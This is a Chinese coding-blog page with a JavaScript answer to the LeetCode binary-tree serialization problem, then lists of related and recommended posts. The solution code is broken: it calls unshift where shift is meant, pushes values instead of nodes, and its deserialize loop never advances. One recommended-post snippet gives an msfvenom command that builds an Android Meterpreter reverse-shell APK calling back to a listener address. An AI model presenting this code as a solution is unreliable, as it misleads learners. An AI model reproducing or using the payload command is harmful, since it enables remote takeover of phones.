题目:

Serialization is the process of converting a data structure or object into a sequence of bits so that it can be stored in a file or memory buffer, or transmitted across a network connection link to be reconstructed later in the same or another computer environment.

Design an algorithm to serialize and deserialize a binary tree. There is no restriction on how your serialization/deserialization algorithm should work. You just need to ensure that a binary tree can be serialized to a string and this string can be deserialized to the original tree structure.

For example, you may serialize the following tree

    1
/ \
2 3
/ \
4 5

as "[1,2,3,null,null,4,5]", just the same as how LeetCode OJ serializes a binary tree. You do not necessarily need to follow this format, so please be creative and come up with different approaches yourself.

Note: Do not use class member/global/static variables to store states. Your serialize and deserialize algorithms should be stateless.

思路:

序列化:层序遍历二叉树。 
反序列化:层序构建二叉树。

/**
* Definition for a binary tree node.
* function TreeNode(val) {
* this.val = val;
* this.left = this.right = null;
* }
*/ /**
* Encodes a tree to a single string.
*
* @param {TreeNode} root
* @return {string}
*/
var serialize = function(root) {
if(root==null){
return [];
} var queue=[],res=[];
queue.push(root); while(queue.length!=0){
var p=queue.unshift();
res.push(p.val);
if(p!=null){
queue.push(p.left.val);
queue.push(p.right.val);
}
} return res;
}; /**
* Decodes your encoded data to tree.
*
* @param {string} data
* @return {TreeNode}
*/
var deserialize = function(data) {
if(data.length==0){
return null;
}
var root=new TreeNode(data[0]),queue=[],res,loc=1;
queue.push(root);
while(queue.length!=0){
var p=queue.unshift();
var count=0;
while(count<2){
count++;
var child=null;
if(data[loc]==null){
if(loc%2!=0){
child=new TreeNode(data[loc]);
p.left=child;
}else{
child=new TreeNode(data[loc]);
p.right=child;
}
queue.push(child);
}else{
if(loc%2!=0){
p.left=null;
}else{
child=new TreeNode(data[loc]);
p.right=null;
}
}
}
} return root;
}; /**
* Your functions will be called as such:
* deserialize(serialize(root));
*/

【树】Serialize and Deserialize Binary Tree的更多相关文章

  1. [LintCode] Serialize and Deserialize Binary Tree(二叉树的序列化和反序列化)

    描述 设计一个算法,并编写代码来序列化和反序列化二叉树.将树写入一个文件被称为“序列化”,读取文件后重建同样的二叉树被称为“反序列化”. 如何反序列化或序列化二叉树是没有限制的,你只需要确保可以将二叉 ...

  2. 【LeetCode】297. Serialize and Deserialize Binary Tree 解题报告(Python)

    [LeetCode]297. Serialize and Deserialize Binary Tree 解题报告(Python) 标签: LeetCode 题目地址:https://leetcode ...

  3. [LeetCode] Serialize and Deserialize Binary Tree

    Serialize and Deserialize Binary Tree Serialization is the process of converting a data structure or ...

  4. LC 297 Serialize and Deserialize Binary Tree

    问题: Serialize and Deserialize Binary Tree 描述: Serialization is the process of converting a data stru ...

  5. LeetCode OJ:Serialize and Deserialize Binary Tree(对树序列化以及解序列化)

    Serialization is the process of converting a data structure or object into a sequence of bits so tha ...

  6. LeetCode——Serialize and Deserialize Binary Tree

    Description: Serialization is the process of converting a data structure or object into a sequence o ...

  7. LeetCode OJ 297. Serialize and Deserialize Binary Tree

    Serialization is the process of converting a data structure or object into a sequence of bits so tha ...

  8. 【LeetCode】297. Serialize and Deserialize Binary Tree

    二叉树的序列化与反序列化. 如果使用string作为媒介来存储,传递序列化结果的话,会给反序列话带来很多不方便. 这里学会了使用 sstream 中的 输入流'istringstream' 和 输出流 ...

  9. [LeetCode] 297. Serialize and Deserialize Binary Tree 二叉树的序列化和反序列化

    Serialization is the process of converting a data structure or object into a sequence of bits so tha ...

随机推荐

  1. [可用]android hack

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...

  2. i9-9900k烤机

    新装机一台,记录烤机参数 硬件配置: cpu: i9-9900k 主板:技嘉Z390 AORUS PRO WIFI 内存:海盗船ddr4 3200 显卡:技嘉gtx1080ti 硬盘:三星970Pro ...

  3. node 问题

    安装:使用.msi直接安装就好,环境变量已经设置好了 1.问题:验证node是否正确安装 办法:直接计算1+1:创建服务器. 在项目文件夹的路径下,输入node命令,会看到一个提示符,这里只能输入直接 ...

  4. application cache 应用缓存

    这些应用还是要自己实现一遍,否则真不知道哪里会出问题. 客户端: <!DOCTYPE html> <html manifest = 'demo.appcache'> <h ...

  5. Americans are usually tolerant (Listen speak of Unit 2)

    Americans are usually 1) tolerant of non-native speakers who have some 2) trouble understanding Engl ...

  6. Windows 7下通过Excel2007连接Oracle数据库并对表查询

    http://blog.csdn.net/pan_tian/article/details/8133668 1. 环境变量的设置 1.1  ORACLE_HOME环境变量的设置,我这里指向了我的Ora ...

  7. 深入研究java.lang.Process类

    一.概述 Process类是一个抽象类(所有的方法均是抽象的),封装了一个进程(即一个执行程序).       Process 类提供了执行从进程输入.执行输出到进程.等待进程完成.检查进程的退出状态 ...

  8. ASP.NET在请求中检测到包含潜在危险的数据,因为它可能包括 HTML标记或脚本

    背景:程序迁移到新的服务器上,在程序进行修改操作时,提示包含危险数据.然而在旧服务器上却没有问题,我猜想的可能是,新服务器IIS安装的ASP.NET版本框架高于以前的IIS上的版本框架,导致web.c ...

  9. matlab学习笔记---(1)

    Matlab学习笔记 一. Desktop Basics (Matlab 基础知识) 当你打开Matlab的时候,matlab按照以下默认的方式展示出来. 该桌面主要包括以下几部分内容: 当前文件夹: ...

  10. 利用bulk添加百万条数据,进行测试

    (1)连接数据库 public static void BulkToDB(DataTable dt) { //数据库连接 SqlConnection sqlCon = new SqlConnectio ...